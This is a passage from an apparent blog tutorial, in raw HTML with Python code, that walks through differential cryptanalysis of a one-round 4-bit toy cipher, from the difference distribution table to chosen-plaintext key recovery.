lens = [&lt;span style="color:#24909d">max&lt;/span>(&lt;span style="color:#24909d">map&lt;/span>(&lt;span style="color:#24909d">len&lt;/span>, col)) &lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> col &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> &lt;span style="color:#24909d">zip&lt;/span>(*s)]
fmt = &lt;span style="color:#ed9d13">&amp;#39; &amp;#39;&lt;/span>.join(&lt;span style="color:#ed9d13">&amp;#39;{{:&lt;/span>&lt;span style="color:#ed9d13">{}&lt;/span>&lt;span style="color:#ed9d13">}}&amp;#39;&lt;/span>.format(x) &lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> x &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> lens)
table = [fmt.format(*row) &lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> row &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> s]
&lt;span style="color:#24909d">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#39;&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#39;&lt;/span>.join(table))
diff_dist_table = get_difference_distribution_table()
matrix_pretty_print(diff_dist_table)
&lt;/code>&lt;/pre>&lt;/div>&lt;p>The resulting difference distribution table is shown below.
The first 16 means that an input difference of 0 leads to an output
difference of 16 for all 16 possible inputs.&lt;/p>
&lt;p>The entry in row a and column b means that an input difference of a-1
leads to an output difference of b-1 for that many differences, as we
index starting with zero.&lt;/p>
&lt;p>As a concrete example, the value of 4 in row 2 and column 4 means that
an input difference of 1 leads to an output difference of 3 for 4
of the 16 tested differences.&lt;/p>
&lt;p>Remember from above, that for a perfect cipher, each output difference
should have the same probability of occurrence for a fixed input
difference. If that was the case, all values in the table would be 1
even those in the first row and column.
However, as this cannot be the case, as an input difference of 0
always leads to an output difference of 0, a perfect cipher in this
sense cannot exist.&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th style="text-align:right"> 0&lt;/th>
&lt;th style="text-align:right"> 1&lt;/th>
&lt;th style="text-align:right"> 2&lt;/th>
&lt;th style="text-align:right"> 3&lt;/th>
&lt;th style="text-align:right"> 4&lt;/th>
&lt;th style="text-align:right"> 5&lt;/th>
&lt;th style="text-align:right"> 6&lt;/th>
&lt;th style="text-align:right"> 7&lt;/th>
&lt;th style="text-align:right"> 8&lt;/th>
&lt;th style="text-align:right"> 9&lt;/th>
&lt;th style="text-align:right">10&lt;/th>
&lt;th style="text-align:right">11&lt;/th>
&lt;th style="text-align:right">12&lt;/th>
&lt;th style="text-align:right">13&lt;/th>
&lt;th style="text-align:right">14&lt;/th>
&lt;th style="text-align:right">15&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td style="text-align:right">16&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">4&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">4&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">4&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">6&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">4&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">4&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">4&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">4&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">4&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">4&lt;/td>
&lt;td style="text-align:right">4&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">4&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">4&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">4&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">4&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">4&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">4&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">4&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">4&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">4&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">4&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">8&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">4&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">4&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">4&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">4&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">6&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">2&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;td style="text-align:right">0&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>There are some especially nasty values in the table.
For example an input difference of 13 leads to an output difference of
11 with a probability of 1/2, or in 8 of the 16 possible cases.
This is the differential characteristic which we are going to use in
the remainder of this blog post.&lt;/p>
&lt;p>Note that using this knowledge we can already create a distinguisher
for the cipher.
This is an algorithm that can distinguish our toy encryption algorithm
from an ideal cipher.
The distinguisher queries a chosen-plaintext oracle with two plaintexts
with a difference of 13. If the output difference is 11, then there is
a high probability of dealing with the toy cipher instead of an ideal
cipher. Often, designing a distinguisher is a first step in attacking
an algorithm. Even though distinguishing attacks are not relevant in
practice they can sometimes be extended to allow for key-recovery.&lt;/p>
&lt;p>In a next step, we expand our attack beyond a distinguishing attack to
achieve key recovery.&lt;/p>
&lt;h2 id="key-recovery-through-differential-cryptanalysis">Key Recovery through Differential Cryptanalysis&lt;/h2>
&lt;p>In this section we expand our attack to recover the whole key.&lt;/p>
&lt;p>Recall from the security discussion above, that the length of the key is 8 bits, thus brute-forcing
naively needs 2^8=256 encryption operations.
However, we can improve that by only brute-forcing the first half of the key k_0 and
compute the remaining half k_1 using basic algebra as we know one plaintext/ciphertext pair.
Key guesses can then be validated using a second known plaintext/ciphertext pair.
Consequently, brute forcing like this needs 2^4=16 encryption operations.&lt;/p>
&lt;p>For our attack using differential cryptanalysis to make sense it needs
to execute less than 16 encryption operations.
The main idea is to use a differential characteristic to narrow down
the key space.
As differential cryptanalysis is a chosen plaintext attack, we can
access an encryption oracle to get a pair of plaintexts and
corresponding ciphertexts satisfying a special difference.
The remaining key space is then searched for the correct key.
In the following, we provide a walk through of the attack.&lt;/p>
&lt;p>As we have seen above, the differential characteristic (13,11) holds
with a probability of 1/2.
This is the characteristic we chose for performing our attack.
Still as part of the preprocessing phase, all possible input values to
the S-box for which the differential characteristic (13,11) holds are
computed.
Note that there are 8 of these values, as can be seen in the
difference distribution table at the chosen differential characteristic.&lt;/p>
&lt;p>Thus, for that differential there are 8 possible intermediate values
in the encryption algorithm, i.e., values that are input to the S-box
but after the xor operation with the key k_0.
And when given an input difference of 13 the corresponding output
difference is 11 with probability 1/2.
On the other hand, if we would have chosen a differential with low
probability of occurrence, then there are only few intermediate values
(and thus a small space of possible keys) but the probability of findings pairs
where the differential characteristic holds is low.&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-python" data-lang="python">&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">gen_possible_intermediate_values&lt;/span>(input_diff, output_diff):
good_pairs = []
&lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> input0 &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> &lt;span style="color:#24909d">range&lt;/span>(&lt;span style="color:#3677a9">16&lt;/span>):
input1 = input0 ^ input_diff
&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> sbox[input0] ^ sbox[input1] == output_diff:
good_pairs.append([input0, input1])
&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> good_pairs
intermediate_values = gen_possible_intermediate_values(&lt;span style="color:#3677a9">13&lt;/span>, &lt;span style="color:#3677a9">11&lt;/span>)
&lt;span style="color:#24909d">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;[*] Possible intermediate values: &amp;#34;&lt;/span> + &lt;span style="color:#24909d">str&lt;/span>(intermediate_values))
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Running the code yields the possible intermediate values &lt;code>[0, 13], [2, 15], [4, 9], [6, 11], [9, 4], [11, 6], [13, 0], [15, 2]&lt;/code>.
Note that there are duplicates due to symmetry.
Without the duplicates we have the following pairs of input: &lt;code>[0, 13], [2, 15], [4, 9], [6, 11]&lt;/code>.
Each of these pairs has an xor difference of 13 (i.e., &lt;code>0⊕13 = 2⊕15 = ... = 13&lt;/code>), and leads to an
output difference of 11 when processed with the S-box.
Further, there are no more input pairs with this property.
Consequently, if there is a pair of inputs p and p' with p⊕p' = 13 and
corresponding outputs c and c' with c⊕c' = 11, then the values
directly before the S-box are among these 8 values.&lt;/p>
&lt;p>As differential cryptanalysis is a chosen plaintext attack, the
attacker can query an oracle to generate pairs of plaintext with a fixed difference and
get the corresponding ciphertexts.
In the code below three pairs of plaintext with a
fixed difference of 13 and their corresponding ciphertexts are created.
As not all plaintexts with a fixed difference of 13 lead to a pair of
ciphertexts with a difference of 11 (only with probability of 1/2), we
are asking the oracle for multiple pairs.
The number three has been chosen experimentally. Of course, more
plaintext pairs increase the chance of a ciphertext pair with the sought
difference of 11.&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-python" data-lang="python">&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">gen_plain_cipher_pairs&lt;/span>(input_diff, num):
&lt;span style="color:#999;font-style:italic"># Generate num plaintext, ciphertext pairs with fixed input difference.&lt;/span>
&lt;span style="color:#999;font-style:italic"># Remember, this is a chosen plaintext attack&lt;/span>
&lt;span style="color:#999;font-style:italic"># random key which we want to recover&lt;/span>
key = (random.randint(&lt;span style="color:#3677a9">0&lt;/span>, &lt;span style="color:#3677a9">15&lt;/span>), random.randint(&lt;span style="color:#3677a9">0&lt;/span>, &lt;span style="color:#3677a9">15&lt;/span>))
&lt;span style="color:#24909d">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;[*] Real key: &lt;/span>&lt;span style="color:#ed9d13">%s&lt;/span>&lt;span style="color:#ed9d13"> &lt;/span>&lt;span style="color:#ed9d13">%s&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> % (key[&lt;span style="color:#3677a9">0&lt;/span>], key[&lt;span style="color:#3677a9">1&lt;/span>]))
pairs = []
&lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> input0 &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> random.sample(&lt;span style="color:#24909d">range&lt;/span>(&lt;span style="color:#3677a9">16&lt;/span>), num):
input1 = input0 ^ input_diff
output0 = encrypt(input0, key[&lt;span style="color:#3677a9">0&lt;/span>], key[&lt;span style="color:#3677a9">1&lt;/span>])
output1 = encrypt(input1, key[&lt;span style="color:#3677a9">0&lt;/span>], key[&lt;span style="color:#3677a9">1&lt;/span>])
pairs.append(((input0, input1), (output0, output1)))
&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> pairs
plain_cipher_pairs = gen_plain_cipher_pairs(&lt;span style="color:#3677a9">13&lt;/span>, &lt;span style="color:#3677a9">3&lt;/span>)
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Next, the ciphertext pairs are sieved and the good pairs are kept. These
are the pairs, where the differential characteristic holds, i.e., the
difference of the plaintexts is 13 and the output difference is 11.&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-python" data-lang="python">&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">find_good_pair&lt;/span>(plain_cipher_pairs, output_diff):
&lt;span style="color:#24909d">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;[*] Searching for good pairs.&amp;#34;&lt;/span>)
&lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> ((input0, input1), (output0, output1)) &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> plain_cipher_pairs:
&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> output0 ^ output1 == output_diff:
&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> ((input0, input1), (output0, output1))
&lt;span style="color:#6ab825;font-weight:bold">raise&lt;/span> &lt;span style="color:#bbb">Exception&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;No good pair found.&amp;#34;&lt;/span>)
((good_p0, good_p1), (good_c0, good_c1)) = find_good_pair(plain_cipher_pairs, &lt;span style="color:#3677a9">11&lt;/span>)
&lt;span style="color:#24909d">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;[*] Found a good pair: &amp;#34;&lt;/span> + &lt;span style="color:#24909d">str&lt;/span>(((good_p0, good_p1), (good_c0, good_c1))))
&lt;/code>&lt;/pre>&lt;/div>&lt;p>If there are x plaintext/ciphertext pairs with an input difference of
13 then approximately x/2 of these are good pairs, i.e., they have the
output difference 11.
For such a good pair, the 8 possible intermediate values
before and after the S-box are known, as these have been computed previously.
As we know the plaintext and the possible inputs to the S-box the
possible key k_0 can be computed using xor.
Thus, each of these 8 intermediate values results in a guess for the key
k_0.
Given k_0 and the plaintext/ciphertext pair, k_1 can be computed and we
receive the full key.&lt;/p>
&lt;p>If a key is guessed, it can be validated using another plaintext/ciphertext pair.
Note that a good pair is not necessary for validating a guess for the key. Any pair works.&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-python" data-lang="python">&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">validate_key&lt;/span>(guessed_k0, guessed_k1):
&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&amp;#34;Checks a key against known plaintext/ciphertext pair and returns True if the key is correct.&amp;#34;&amp;#34;&amp;#34;&lt;/span>
&lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> ((input0, input1), (output0, output1)) &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> plain_cipher_pairs:
&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> encrypt(input0, guessed_k0, guessed_k1) != output0:
&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">False&lt;/span>
&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> encrypt(input1, guessed_k0, guessed_k1) != output1:
&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">False&lt;/span>
&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">True&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;p>All that is left to do is to compute the possible keys given the
possible intermediate values before the S-box and check the guessed
keys.
The attacker still has to brute force multiple keys, but
there are only 8 possible values instead of 16 values for a full brute-force
attack.&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-python" data-lang="python">&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">recover_key&lt;/span>():
&lt;span style="color:#24909d">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;[*] Brute-Forcing remaining key space&amp;#34;&lt;/span>)
&lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> (p0, p1) &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> intermediate_values:
guessed_k0 = p0 ^ good_p0
guessed_k1 = sbox[p0] ^ good_c0
&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> validate_key(guessed_k0, guessed_k1):
&lt;span style="color:#24909d">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;Recovered key --&amp;gt; &lt;/span>&lt;span style="color:#ed9d13">%s&lt;/span>&lt;span style="color:#ed9d13"> &lt;/span>&lt;span style="color:#ed9d13">%s&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> % (guessed_k0, guessed_k1))
&lt;span style="color:#6ab825;font-weight:bold">else&lt;/span>:
&lt;span style="color:#24909d">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34; &lt;/span>&lt;span style="color:#ed9d13">%s&lt;/span>&lt;span style="color:#ed9d13"> &lt;/span>&lt;span style="color:#ed9d13">%s&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> % (guessed_k0, guessed_k1))
recover_key()
&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="references">References&lt;/h2>
&lt;ul>
&lt;li>The main reference used for this blog post is the fantastic tutorial into linear and differential cryptanalysis by Howard Heys available at &lt;a href="http://www.engr.mun.ca/~howard/PAPERS/ldc_tutorial.pdf">http://www.engr.mun.ca/~howard/PAPERS/ldc_tutorial.pdf&lt;/a>&lt;/li>
&lt;li>Another notable reference is the seminal paper by Biham and Shamir that introduced differential cryptanalysis (available at &lt;a href="https://dl.acm.org/doi/10.5555/646755.705229">https://dl.acm.org/doi/10.5555/646755.705229&lt;/a>)&lt;/li>
&lt;li>Regarding the graphics, we have been heavily inspired by &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.iacr.org/authors/tikz/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Tikz&lt;/span>
&lt;/a>&lt;a
href="https://www.iacr.org/authors/tikz/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">for&lt;/span>
&lt;/a>&lt;a
href="https://www.iacr.org/authors/tikz/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Cryptographers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.&lt;/li>
&lt;li>The title image is from &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.pexels.com/photo/red-lights-in-line-on-black-surface-158826/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Pexels&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.&lt;/li>
&lt;/ul>
&lt;h2 id="full-code">Full code&lt;/h2>
&lt;p>The full code is shown below, and can be downloaded
&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-2/toy-cipher-one-round.py"
class="link-background inline no-spaces"
>
&lt;span class="link-label">here&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-python" data-lang="python">&lt;span style="color:#999;font-style:italic"># Differential Cryptanalysis Toy Implementation&lt;/span>
&lt;span style="color:#999;font-style:italic"># Encryption is as follows: xor key0, then substitute, then xor key1&lt;/span>
&lt;span style="color:#999;font-style:italic"># So we have the simplest type of a sp-network (without the permutation)&lt;/span>
&lt;span style="color:#999;font-style:italic"># key sizes: key0=4bit, key1=4 bit, so key is 8 bit&lt;/span>
&lt;span style="color:#999;font-style:italic"># block length is 4 bit&lt;/span>
&lt;span style="color:#999;font-style:italic"># sbox width is 4 bit&lt;/span>
&lt;span style="color:#6ab825;font-weight:bold">import&lt;/span> &lt;span style="color:#447fcf;text-decoration:underline">random&lt;/span>
